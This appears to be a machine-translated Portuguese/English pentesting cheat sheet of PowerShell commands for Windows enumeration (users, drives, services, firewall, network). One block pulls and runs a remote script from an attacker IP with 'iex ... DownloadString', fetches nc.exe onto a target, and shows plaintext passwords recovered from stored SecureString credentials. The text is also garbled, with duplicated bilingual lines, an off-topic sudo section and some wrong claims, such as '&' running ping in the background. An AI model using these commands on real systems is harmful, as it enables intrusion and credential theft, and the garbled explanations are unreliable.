- **enable-windows-defender-real-time-protection.ps1**: This script enables real-time protection in Windows Defender on the Windows system.

- **enable-windows-defender-real-time-protection.ps1**: Este script ativa a proteção em tempo real no Windows Defender no sistema Windows.

- **disable-autoplay.ps1**: This script disables AutoPlay on the Windows system.

- **disable-autoplay.ps1**: Este script desativa o AutoPlay no sistema Windows.

- **enable-windows-update-automatic-download.ps1**: This script enables automatic download of Windows updates on the Windows system.

- **enable-windows-update-automatic-download.ps1**: Este script ativa o download automático das atualizações do Windows no sistema Windows.

- **disable-weak-ciphers.ps1**: This script disables weak ciphers on the Windows system.

- **disable-weak-ciphers.ps1**: Este script desativa cifras fracas no sistema Windows.

- **enable-windows-defender-cloud-based-protection.ps1**: This script enables cloud-based protection in Windows Defender on the Windows system.

- **enable-windows-defender-cloud-based-protection.ps1**: Este script ativa a proteção baseada em nuvem no Windows Defender no sistema Windows.

- **disable-remote-assistance.ps1**: This script disables Remote Assistance on the Windows system.

- **disable-remote-assistance.ps1**: Este script desativa a Assistência Remota no sistema Windows.

- **enable-windows-update-automatic-install.ps1**: This script enables automatic installation of Windows updates on the Windows system.

- **enable-windows-update-automatic-install.ps1**: Este script ativa a instalação automática das atualizações do Windows no sistema Windows.

- **disable-weak-ciphers.ps1**: This script disables weak ciphers on the Windows system.

- **disable-weak-ciphers.ps1**: Este script desativa cifras fracas no sistema Windows.

- **enable-windows-defender-cloud-based-protection.ps1**: This script enables cloud-based protection in Windows Defender on the Windows system.

- **enable-windows-defender-cloud-based-protection.ps1**: Este script ativa a proteção baseada em nuvem no Windows Defender no sistema Windows.

- **disable-remote-assistance.ps1**: This script disables Remote Assistance on the Windows system.

- **disable-remote-assistance.ps1**: Este script desativa a Assistência Remota no sistema Windows.

- **enable-windows-update-automatic-install.ps1**: This script enables automatic installation of Windows updates on the Windows system.

- **enable-windows-update-automatic-install.ps1**: Este script ativa a instalação automática das atualizações do Windows no sistema Windows.

## Disclaimer

---

## Aviso Legal

This repository is for educational purposes only. The scripts provided here should only be used on systems that you have permission to test. The author is not responsible for any misuse or damage caused by these scripts.

Este repositório é apenas para fins educacionais. Os scripts fornecidos aqui devem ser usados apenas em sistemas nos quais você tenha permissão para testar. O autor não é responsável por qualquer uso indevido ou danos causados por esses scripts.
```powershell
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
```
## Outros drives conectados

When conducting a penetration test, it is important to gather as much information as possible about the target system. One useful piece of information is the list of connected drives on a Windows machine. This can help identify potential areas of interest for further exploration.

In PowerShell, you can use the `Get-PSDrive` cmdlet to retrieve a list of all connected drives. This cmdlet provides information about both local and network drives.

To retrieve the list of connected drives, open a PowerShell session and run the following command:

```powershell
Get-PSDrive
```

This will display a table with information about each drive, including the drive letter, drive type, and root directory.

By examining the list of connected drives, you may discover additional storage devices or network shares that could be potential targets for further investigation. This information can be valuable for identifying potential points of entry or areas where sensitive data may be stored.

Remember to always obtain proper authorization before conducting any penetration testing activities.
```powershell
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```
### Lixeira

A Lixeira é uma pasta especial no sistema operacional Windows que armazena arquivos excluídos. Esses arquivos são mantidos na Lixeira até que sejam permanentemente excluídos ou restaurados pelo usuário. A Lixeira é uma parte importante do sistema operacional, pois fornece uma camada adicional de segurança, permitindo que os usuários recuperem acidentalmente arquivos excluídos.

No entanto, do ponto de vista de um pentester, a Lixeira pode ser uma fonte valiosa de informações. Os arquivos excluídos podem conter dados confidenciais, como senhas, informações pessoais ou até mesmo documentos importantes. Portanto, explorar a Lixeira pode ser uma técnica útil durante um teste de penetração.

Existem várias maneiras de explorar a Lixeira usando o PowerShell. O PowerShell é uma poderosa ferramenta de linha de comando e script que permite aos pentesters automatizar tarefas e executar comandos complexos. Neste diretório, você encontrará alguns scripts básicos do PowerShell que podem ser usados para explorar a Lixeira durante um teste de penetração.

Os scripts fornecidos neste diretório incluem:

- `list-deleted-files.ps1`: Este script lista todos os arquivos excluídos na Lixeira.
- `restore-deleted-files.ps1`: Este script restaura todos os arquivos excluídos na Lixeira.
- `permanently-delete-files.ps1`: Este script exclui permanentemente todos os arquivos na Lixeira.

Esses scripts podem ser usados como ponto de partida para desenvolver técnicas mais avançadas de exploração da Lixeira usando o PowerShell.
```powershell
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
```
[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)

## Reconhecimento de Domínio

{% content-ref url="powerview.md" %}
[powerview.md](powerview.md)
{% endcontent-ref %}

## Usuários
```powershell
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
```
## String Segura para Texto Simples

O PowerShell fornece uma maneira conveniente de converter uma string segura em texto simples. Isso pode ser útil durante testes de penetração para obter informações sensíveis armazenadas em formato seguro.

Aqui está um exemplo de como converter uma string segura em texto simples usando o PowerShell:

```powershell
$secureString = ConvertTo-SecureString -String "MinhaSenhaSegura" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
```

Neste exemplo, a variável `$secureString` contém a string segura que desejamos converter. Usamos o cmdlet `ConvertTo-SecureString` para criar um objeto de string segura a partir da string fornecida. Em seguida, usamos a função `[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR` para converter o objeto de string segura em um ponteiro BSTR. Finalmente, usamos a função `[System.Runtime.InteropServices.Marshal]::PtrToStringAuto` para converter o ponteiro BSTR em texto simples.

Após a execução dessas etapas, a variável `$plainText` conterá o valor da string segura convertida em texto simples.

É importante lembrar que a conversão de uma string segura em texto simples pode expor informações sensíveis. Portanto, é essencial tomar precauções adequadas ao lidar com dados confidenciais.
```powershell
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
```
Ou diretamente analisando a partir de XML:
```powershell
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
```
## SUDO

O comando `sudo` é uma ferramenta poderosa que permite aos usuários executarem comandos com privilégios de superusuário em sistemas baseados em Unix. Isso é útil para realizar tarefas administrativas que exigem permissões elevadas.

### Sintaxe

A sintaxe básica do comando `sudo` é a seguinte:

```
sudo [opções] comando
```

### Exemplos de uso

1. Executar um comando como superusuário:

```
sudo comando
```

2. Executar um comando como outro usuário:

```
sudo -u usuário comando
```

3. Executar um comando com um ambiente de usuário diferente:

```
sudo -i comando
```

### Opções comuns

Aqui estão algumas opções comuns que podem ser usadas com o comando `sudo`:

- `-u usuário`: Executa o comando como o usuário especificado.
- `-i`: Inicia um shell interativo com o ambiente do usuário especificado.
- `-s`: Inicia um shell não interativo com o ambiente do usuário especificado.
- `-l`: Lista os comandos permitidos para o usuário atual.
- `-k`: Invalida o tempo limite de autenticação do `sudo`.
- `-v`: Atualiza o tempo limite de autenticação do `sudo`.

### Dicas de segurança

- Evite usar o comando `sudo` desnecessariamente.
- Verifique cuidadosamente os comandos antes de executá-los com privilégios de superusuário.
- Mantenha o sistema operacional e os pacotes atualizados para evitar vulnerabilidades conhecidas.
- Limite o acesso ao comando `sudo` apenas aos usuários necessários.
- Monitore os logs do `sudo` para detectar atividades suspeitas.

Para obter mais informações sobre o comando `sudo`, consulte o manual do sistema usando o seguinte comando:

```
man sudo
```
```powershell
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
```
## Grupos

Grupos são uma parte fundamental da administração de sistemas Windows. Eles são usados para organizar e gerenciar usuários e recursos em um ambiente de rede. Neste capítulo, discutiremos os conceitos básicos de grupos no Windows e como eles podem ser usados em um contexto de pentesting.

### Tipos de Grupos

Existem vários tipos de grupos no Windows, cada um com sua própria finalidade e escopo. Os principais tipos de grupos incluem:

- **Grupos Locais**: Esses grupos são criados em um único computador e são usados para gerenciar o acesso a recursos locais nesse computador. Os grupos locais podem ser usados para conceder permissões a pastas, arquivos e outros recursos no computador local.

- **Grupos Globais**: Esses grupos são criados em um controlador de domínio e são usados para gerenciar o acesso a recursos em toda a rede. Os grupos globais podem ser usados para conceder permissões a pastas compartilhadas, impressoras e outros recursos em vários computadores.

- **Grupos Universais**: Esses grupos são criados em um controlador de domínio e podem ser usados para conceder permissões a recursos em toda a floresta do Active Directory. Os grupos universais são úteis em ambientes com várias florestas do Active Directory.

### Gerenciamento de Grupos com PowerShell

O PowerShell é uma ferramenta poderosa para gerenciar grupos no Windows. Ele fornece uma ampla gama de cmdlets (comandos) que podem ser usados para criar, modificar e excluir grupos, bem como para adicionar e remover membros de grupos.

Aqui estão alguns exemplos de cmdlets do PowerShell que podem ser usados para gerenciar grupos:

- `New-LocalGroup`: Cria um novo grupo local.
- `Add-LocalGroupMember`: Adiciona um membro a um grupo local.
- `Remove-LocalGroupMember`: Remove um membro de um grupo local.
- `New-ADGroup`: Cria um novo grupo global ou universal no Active Directory.
- `Add-ADGroupMember`: Adiciona um membro a um grupo global ou universal.
- `Remove-ADGroupMember`: Remove um membro de um grupo global ou universal.

Esses cmdlets podem ser combinados com outros cmdlets do PowerShell para realizar tarefas mais avançadas, como a criação de grupos com permissões personalizadas ou a enumeração de membros de grupos em toda a rede.

### Explorando Grupos no Pentesting

Durante um teste de penetração, explorar grupos pode ser útil para identificar usuários privilegiados, encontrar recursos sensíveis e obter acesso não autorizado a sistemas. Os pentesters podem usar técnicas como a enumeração de grupos, a busca por grupos com permissões elevadas e a exploração de vulnerabilidades relacionadas a grupos para obter acesso e controle adicionais em um ambiente de rede.

No próximo capítulo, discutiremos técnicas avançadas de exploração de grupos no Windows e como elas podem ser usadas em um contexto de pentesting.
```powershell
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
```
## Área de Transferência

A área de transferência é um recurso do sistema operacional que permite copiar e colar informações entre aplicativos. No entanto, esse recurso também pode ser explorado por hackers para obter informações confidenciais.

### Roubo de Dados da Área de Transferência

Os hackers podem usar técnicas para roubar dados da área de transferência, como senhas, números de cartão de crédito e outras informações sensíveis. Isso pode ser feito por meio de malware ou scripts maliciosos.

### Protegendo a Área de Transferência

Para proteger seus dados da área de transferência, é importante seguir algumas práticas recomendadas:

- Evite copiar informações confidenciais para a área de transferência, sempre que possível.
- Utilize senhas fortes e evite copiá-las para a área de transferência.
- Mantenha seu sistema operacional e aplicativos atualizados para corrigir possíveis vulnerabilidades.
- Utilize ferramentas de segurança, como antivírus e firewalls, para detectar e bloquear malware.
- Esteja atento a possíveis ataques de phishing e evite clicar em links suspeitos ou fornecer informações confidenciais.

Ao seguir essas práticas, você pode ajudar a proteger seus dados da área de transferência contra possíveis ataques de hackers.
```powershell
Get-Clipboard
```
## Processos

Um processo é uma instância de um programa em execução em um sistema operacional. No Windows, os processos são gerenciados pelo Gerenciador de Tarefas. Os processos podem ser executados em primeiro plano ou em segundo plano e podem ter privilégios diferentes, dependendo das permissões do usuário.

### Listando processos

Para listar todos os processos em execução no sistema, podemos usar o seguinte comando no PowerShell:

```powershell
Get-Process
```

Este comando exibirá uma lista de todos os processos em execução, incluindo o nome do processo, o ID do processo (PID), o uso de CPU e memória, entre outras informações.

### Finalizando processos

Para finalizar um processo específico, podemos usar o comando `Stop-Process` seguido pelo PID do processo. Por exemplo, para finalizar o processo com PID 1234, podemos usar o seguinte comando:

```powershell
Stop-Process -Id 1234
```

### Executando comandos em segundo plano

O PowerShell também permite executar comandos em segundo plano, o que pode ser útil durante um teste de penetração. Para executar um comando em segundo plano, podemos usar o operador `&` seguido pelo comando. Por exemplo, para executar o comando `ping` em segundo plano, podemos usar o seguinte comando:

```powershell
& ping 127.0.0.1 -n 10
```

Isso executará o comando `ping` em segundo plano e enviará 10 pacotes para o endereço IP 127.0.0.1.

### Conclusão

O conhecimento sobre processos é essencial para um testador de penetração, pois permite listar e finalizar processos no sistema alvo. Além disso, a capacidade de executar comandos em segundo plano pode ser útil para realizar tarefas específicas durante um teste de penetração.
```powershell
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
## Serviços

### Introduction

### Introdução

This section covers basic PowerShell commands that can be used by pentesters to gather information about services running on a Windows system.

Esta seção aborda comandos básicos do PowerShell que podem ser usados por pentesters para obter informações sobre os serviços em execução em um sistema Windows.

### Service Management

### Gerenciamento de Serviços

PowerShell provides several cmdlets for managing services on a Windows system. Here are some commonly used cmdlets:

O PowerShell fornece vários cmdlets para gerenciar serviços em um sistema Windows. Aqui estão alguns cmdlets comumente usados:

- `Get-Service`: Retrieves the status of services on the local or remote system.
- `Get-Service`: Recupera o status dos serviços no sistema local ou remoto.

- `Start-Service`: Starts one or more services.
- `Start-Service`: Inicia um ou mais serviços.

- `Stop-Service`: Stops one or more services.
- `Stop-Service`: Para um ou mais serviços.

- `Restart-Service`: Restarts one or more services.
- `Restart-Service`: Reinicia um ou mais serviços.

- `Set-Service`: Changes the properties of a service.
- `Set-Service`: Altera as propriedades de um serviço.

### Service Information

### Informações do Serviço

To gather information about services, you can use the `Get-Service` cmdlet. Here are some examples:

Para obter informações sobre os serviços, você pode usar o cmdlet `Get-Service`. Aqui estão alguns exemplos:

- `Get-Service`: Retrieves the status of all services on the local system.
- `Get-Service`: Recupera o status de todos os serviços no sistema local.

- `Get-Service -Name <service_name>`: Retrieves the status of a specific service.
- `Get-Service -Name <nome_do_serviço>`: Recupera o status de um serviço específico.

- `Get-Service -DisplayName <display_name>`: Retrieves the status of a service using its display name.
- `Get-Service -DisplayName <nome_de_exibição>`: Recupera o status de um serviço usando seu nome de exibição.

### Service Manipulation

### Manipulação de Serviços

PowerShell allows you to start, stop, and restart services using the `Start-Service`, `Stop-Service`, and `Restart-Service` cmdlets, respectively. Here are some examples:

O PowerShell permite iniciar, parar e reiniciar serviços usando os cmdlets `Start-Service`, `Stop-Service` e `Restart-Service`, respectivamente. Aqui estão alguns exemplos:

- `Start-Service -Name <service_name>`: Starts a specific service.
- `Start-Service -Name <nome_do_serviço>`: Inicia um serviço específico.

- `Stop-Service -Name <service_name>`: Stops a specific service.
- `Stop-Service -Name <nome_do_serviço>`: Para um serviço específico.

- `Restart-Service -Name <service_name>`: Restarts a specific service.
- `Restart-Service -Name <nome_do_serviço>`: Reinicia um serviço específico.

### Service Configuration

### Configuração de Serviços

PowerShell also allows you to change the properties of a service using the `Set-Service` cmdlet. Here are some examples:

O PowerShell também permite alterar as propriedades de um serviço usando o cmdlet `Set-Service`. Aqui estão alguns exemplos:

- `Set-Service -Name <service_name> -StartupType <startup_type>`: Changes the startup type of a service.
- `Set-Service -Name <nome_do_serviço> -StartupType <tipo_de_inicialização>`: Altera o tipo de inicialização de um serviço.

- `Set-Service -Name <service_name> -Description <description>`: Changes the description of a service.
- `Set-Service -Name <nome_do_serviço> -Description <descrição>`: Altera a descrição de um serviço.

### Conclusion

### Conclusão

Understanding how to manage and gather information about services using PowerShell is essential for pentesters. These basic commands can be used to perform various tasks related to service management on a Windows system.

Compreender como gerenciar e obter informações sobre serviços usando o PowerShell é essencial para pentesters. Esses comandos básicos podem ser usados para realizar várias tarefas relacionadas ao gerenciamento de serviços em um sistema Windows.
```
Get-Service
```
## Senha a partir de uma string segura

When performing penetration testing on Windows systems, it is common to encounter situations where passwords are stored as secure strings. Secure strings are a way to protect sensitive information, such as passwords, by encrypting them and storing them in memory.

To retrieve the actual password from a secure string, you can use PowerShell. The following script demonstrates how to do this:

```powershell
$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plainTextPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
Write-Output $plainTextPassword
```

In this script, we first create a secure string using the `ConvertTo-SecureString` cmdlet. We pass the desired password as a plain text string and use the `-AsPlainText` and `-Force` parameters to ensure that the string is treated as plain text and not encrypted.

Next, we use the `[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR` method to convert the secure string to a BSTR (Basic String) representation. Finally, we use the `[System.Runtime.InteropServices.Marshal]::PtrToStringAuto` method to convert the BSTR back to a plain text string.

By running this script, you will be able to retrieve the password from a secure string. However, keep in mind that this technique should only be used for legitimate purposes, such as during penetration testing engagements or when authorized to access the system.
```powershell
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
```
## Tarefas Agendadas

Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts, commands, or programs at specific times or intervals. As a pentester, understanding how to manipulate and exploit scheduled tasks can be valuable for gaining persistence, privilege escalation, or executing malicious actions on a target system.

As tarefas agendadas são um recurso poderoso no Windows que permite automatizar a execução de scripts, comandos ou programas em horários ou intervalos específicos. Como um pentester, entender como manipular e explorar tarefas agendadas pode ser valioso para obter persistência, escalonamento de privilégios ou executar ações maliciosas em um sistema alvo.

### Viewing Scheduled Tasks

To view the list of scheduled tasks on a Windows system, you can use the `Get-ScheduledTask` cmdlet in PowerShell. This cmdlet retrieves information about all the scheduled tasks on the local or remote system.

Para visualizar a lista de tarefas agendadas em um sistema Windows, você pode usar o cmdlet `Get-ScheduledTask` no PowerShell. Este cmdlet recupera informações sobre todas as tarefas agendadas no sistema local ou remoto.

```powershell
Get-ScheduledTask
```

### Creating Scheduled Tasks

To create a new scheduled task, you can use the `New-ScheduledTask` cmdlet in PowerShell. This cmdlet allows you to specify the script, command, or program to be executed, as well as the schedule for the task.

Para criar uma nova tarefa agendada, você pode usar o cmdlet `New-ScheduledTask` no PowerShell. Este cmdlet permite especificar o script, comando ou programa a ser executado, bem como o agendamento da tarefa.

```powershell
New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am)
```

### Modifying Scheduled Tasks

To modify an existing scheduled task, you can use the `Set-ScheduledTask` cmdlet in PowerShell. This cmdlet allows you to change various properties of the task, such as the script, command, or program to be executed, the schedule, or the user account under which the task runs.

Para modificar uma tarefa agendada existente, você pode usar o cmdlet `Set-ScheduledTask` no PowerShell. Este cmdlet permite alterar várias propriedades da tarefa, como o script, comando ou programa a ser executado, o agendamento ou a conta de usuário sob a qual a tarefa é executada.

```powershell
Set-ScheduledTask -TaskPath "\MyTasks" -TaskName "MyTask" -Action (New-ScheduledTaskAction -Execute "C:\path\to\newscript.ps1")
```

### Deleting Scheduled Tasks

To delete a scheduled task, you can use the `Unregister-ScheduledTask` cmdlet in PowerShell. This cmdlet removes the specified task from the system.

Para excluir uma tarefa agendada, você pode usar o cmdlet `Unregister-ScheduledTask` no PowerShell. Este cmdlet remove a tarefa especificada do sistema.

```powershell
Unregister-ScheduledTask -TaskPath "\MyTasks" -TaskName "MyTask"
```

### Conclusion

Scheduled tasks are a fundamental component of Windows systems and can be leveraged by pentesters for various purposes. By understanding how to view, create, modify, and delete scheduled tasks using PowerShell, you can effectively manipulate and exploit this feature during your engagements.
```powershell
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```
### Interfaces

As interfaces de rede são componentes essenciais para a comunicação de um sistema com a rede. No Windows, podemos usar o PowerShell para gerenciar e configurar as interfaces de rede.

#### Listar interfaces de rede

Para listar todas as interfaces de rede em um sistema Windows, podemos usar o seguinte comando PowerShell:

```powershell
Get-NetAdapter
```

Este comando exibirá informações detalhadas sobre todas as interfaces de rede, incluindo o nome, descrição, estado, velocidade e endereço MAC.

#### Habilitar ou desabilitar uma interface de rede

Podemos usar o PowerShell para habilitar ou desabilitar uma interface de rede específica. Para isso, precisamos conhecer o nome da interface que queremos modificar.

Para desabilitar uma interface de rede, usamos o seguinte comando:

```powershell
Disable-NetAdapter -Name "Nome da Interface"
```

Para habilitar uma interface de rede, usamos o seguinte comando:

```powershell
Enable-NetAdapter -Name "Nome da Interface"
```

Certifique-se de substituir "Nome da Interface" pelo nome correto da interface que deseja habilitar ou desabilitar.

#### Configurar endereço IP

Podemos usar o PowerShell para configurar o endereço IP de uma interface de rede. Para isso, precisamos conhecer o nome da interface que queremos configurar e o endereço IP desejado.

Para configurar o endereço IP de uma interface de rede, usamos o seguinte comando:

```powershell
New-NetIPAddress -InterfaceAlias "Nome da Interface" -IPAddress "Endereço IP" -PrefixLength "Comprimento do Prefixo"
```

Certifique-se de substituir "Nome da Interface" pelo nome correto da interface que deseja configurar, "Endereço IP" pelo endereço IP desejado e "Comprimento do Prefixo" pelo comprimento do prefixo da máscara de sub-rede.

#### Configurar servidor DNS

Podemos usar o PowerShell para configurar o servidor DNS de uma interface de rede. Para isso, precisamos conhecer o nome da interface que queremos configurar e o endereço IP do servidor DNS desejado.

Para configurar o servidor DNS de uma interface de rede, usamos o seguinte comando:

```powershell
Set-DnsClientServerAddress -InterfaceAlias "Nome da Interface" -ServerAddresses "Endereço IP do Servidor DNS"
```

Certifique-se de substituir "Nome da Interface" pelo nome correto da interface que deseja configurar e "Endereço IP do Servidor DNS" pelo endereço IP do servidor DNS desejado.

#### Configurar gateway padrão

Podemos usar o PowerShell para configurar o gateway padrão de uma interface de rede. Para isso, precisamos conhecer o nome da interface que queremos configurar e o endereço IP do gateway desejado.

Para configurar o gateway padrão de uma interface de rede, usamos o seguinte comando:

```powershell
Set-NetIPInterface -InterfaceAlias "Nome da Interface" -DefaultGateway "Endereço IP do Gateway"
```

Certifique-se de substituir "Nome da Interface" pelo nome correto da interface que deseja configurar e "Endereço IP do Gateway" pelo endereço IP do gateway desejado.
```powershell
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```
### Firewall

Um firewall é uma medida de segurança essencial para proteger um sistema contra ameaças externas. Ele atua como uma barreira entre a rede interna e a internet, controlando o tráfego de entrada e saída com base em regras predefinidas.

No Windows, o firewall pode ser configurado usando o PowerShell. O PowerShell é uma poderosa ferramenta de linha de comando e scripting que permite automatizar tarefas administrativas.

Aqui estão alguns comandos básicos do PowerShell para configurar o firewall no Windows:

#### Habilitar o Firewall do Windows:

```powershell
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
```

#### Desabilitar o Firewall do Windows:

```powershell
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
```

#### Permitir uma porta específica:

```powershell
New-NetFirewallRule -DisplayName "Allow Port 80" -Direction Inbound -Protocol TCP -LocalPort 80 -Action Allow
```

#### Bloquear uma porta específica:

```powershell
New-NetFirewallRule -DisplayName "Block Port 443" -Direction Inbound -Protocol TCP -LocalPort 443 -Action Block
```

Esses comandos básicos podem ser usados como ponto de partida para configurar o firewall do Windows de acordo com as necessidades de segurança do sistema. É importante lembrar de ajustar as regras de acordo com os requisitos específicos de cada ambiente.
```powershell
Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
```
### Rota
```powershell
route print
```
### ARP

O Protocolo de Resolução de Endereço (ARP) é um protocolo de rede usado para associar um endereço IP a um endereço MAC em uma rede local. Ele permite que os dispositivos na mesma rede se comuniquem uns com os outros usando endereços MAC.

O ARP funciona enviando uma solicitação de ARP para descobrir o endereço MAC correspondente a um determinado endereço IP. O dispositivo de destino responde com seu endereço MAC, permitindo que o dispositivo de origem estabeleça uma conexão direta.

No entanto, o ARP também pode ser explorado por hackers para realizar ataques de envenenamento de ARP, onde eles falsificam as respostas de ARP para redirecionar o tráfego de rede para um dispositivo controlado por eles. Isso pode ser usado para interceptar dados sensíveis ou realizar ataques de negação de serviço.

Para se proteger contra ataques de envenenamento de ARP, é recomendado implementar medidas de segurança, como o uso de autenticação de rede, monitoramento de tráfego e a configuração de listas de controle de acesso (ACLs) para restringir o acesso à rede.
```powershell
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```
### Hosts

Os arquivos de hosts são usados para mapear nomes de domínio para endereços IP. Eles são usados principalmente para bloquear ou redirecionar o tráfego de rede. No Windows, o arquivo de hosts está localizado em `C:\Windows\System32\drivers\etc\hosts`.

### Modificando o arquivo de hosts

Para modificar o arquivo de hosts, você pode usar o PowerShell. Aqui estão alguns comandos úteis:

- **Visualizar o conteúdo do arquivo de hosts:**

```powershell
Get-Content C:\Windows\System32\drivers\etc\hosts
```

- **Adicionar uma entrada ao arquivo de hosts:**

```powershell
Add-Content -Path C:\Windows\System32\drivers\etc\hosts -Value "127.0.0.1 exemplo.com"
```

- **Remover uma entrada do arquivo de hosts:**

```powershell
(Get-Content C:\Windows\System32\drivers\etc\hosts) | Where-Object { $_ -notmatch "exemplo.com" } | Set-Content C:\Windows\System32\drivers\etc\hosts
```

Lembre-se de executar o PowerShell como administrador para poder modificar o arquivo de hosts.
```powershell
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
```
### Ping

O comando `ping` é uma ferramenta comumente usada para testar a conectividade de rede entre um host local e um host remoto. Ele envia pacotes de dados para o host remoto e aguarda por uma resposta. O tempo de resposta e a taxa de perda de pacotes podem ser usados para avaliar a qualidade da conexão de rede.

#### Sintaxe

```
ping <host>
```

#### Exemplo

```
ping www.example.com
```

Este comando envia pacotes de ping para o host `www.example.com` e exibe o tempo de resposta e a taxa de perda de pacotes.
```powershell
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
```
### SNMP

O Simple Network Management Protocol (SNMP) é um protocolo amplamente utilizado para gerenciamento de redes. Ele permite que os administradores monitorem e gerenciem dispositivos de rede, como roteadores, switches e servidores. O SNMP opera em uma arquitetura cliente-servidor, onde os dispositivos de rede são os servidores SNMP e os administradores são os clientes SNMP.

O SNMP usa uma estrutura de gerenciamento de informações chamada MIB (Management Information Base), que define os objetos gerenciados pelos dispositivos de rede. Os objetos gerenciados podem incluir informações sobre o status do dispositivo, estatísticas de desempenho e configurações.

Os clientes SNMP podem enviar solicitações para os servidores SNMP para obter informações sobre os dispositivos de rede. Essas solicitações podem ser do tipo GET, que solicita um valor específico de um objeto gerenciado, ou do tipo SET, que permite que os administradores configurem os dispositivos de rede.

Os servidores SNMP respondem às solicitações dos clientes SNMP com informações sobre os objetos gerenciados. Essas respostas podem incluir os valores dos objetos solicitados ou notificações sobre eventos ocorridos nos dispositivos de rede.

O SNMP também suporta o recurso de traps, que permite que os dispositivos de rede enviem notificações aos clientes SNMP quando ocorrem eventos importantes, como falhas de hardware ou violações de segurança.

Em resumo, o SNMP é uma ferramenta poderosa para o gerenciamento de redes, permitindo que os administradores monitorem e gerenciem dispositivos de rede de forma eficiente.
```powershell
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```
## **Convertendo a String SDDL em um Formato Legível**

Ao realizar testes de penetração em sistemas Windows, é comum encontrar permissões definidas em formato SDDL (Security Descriptor Definition Language). Essas permissões podem ser difíceis de entender e analisar diretamente. Felizmente, o PowerShell fornece uma maneira fácil de converter a string SDDL em um formato legível.

### **Passo 1: Obter a String SDDL**

Primeiro, você precisa obter a string SDDL para um objeto de segurança específico. Isso pode ser feito usando o cmdlet `Get-Acl` do PowerShell. Por exemplo, para obter a string SDDL para um arquivo chamado "example.txt", você pode executar o seguinte comando:

```powershell
